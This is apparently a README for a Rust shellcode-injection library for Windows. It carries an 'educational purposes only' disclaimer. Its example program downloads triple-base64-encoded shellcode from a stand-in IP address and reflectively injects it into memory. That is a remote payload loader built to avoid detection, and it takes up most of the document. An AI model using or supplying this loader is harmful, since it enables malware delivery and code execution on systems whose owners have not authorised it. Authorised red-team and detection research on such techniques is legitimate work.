Library for shellcode injection using the Windows API.
WARNING: This code is for educational purposes only. The creator strongly urges you to only use this code in authorized contexts. Don't do crimes.
The following is an example implementation, which can be observed in RustyNeedle:
```rust use bolus::{ inject, load, injectors::{ InjectionType, InjectorType } };
/// The URL where shellcode will be downloaded from const URL: &str = "http://1.2.3.4/note.txt"; /// The # of base64 iterations to decode const B64_ITERATIONS: usize = 3;
fn main() -> Result<(), String> { let injector = load( InjectorType::Base64Url(( URL.tostring(), B64ITERATIONS )) )?; inject( injector, InjectionType::Reflect, true ) } ```
Full docs at docs.rs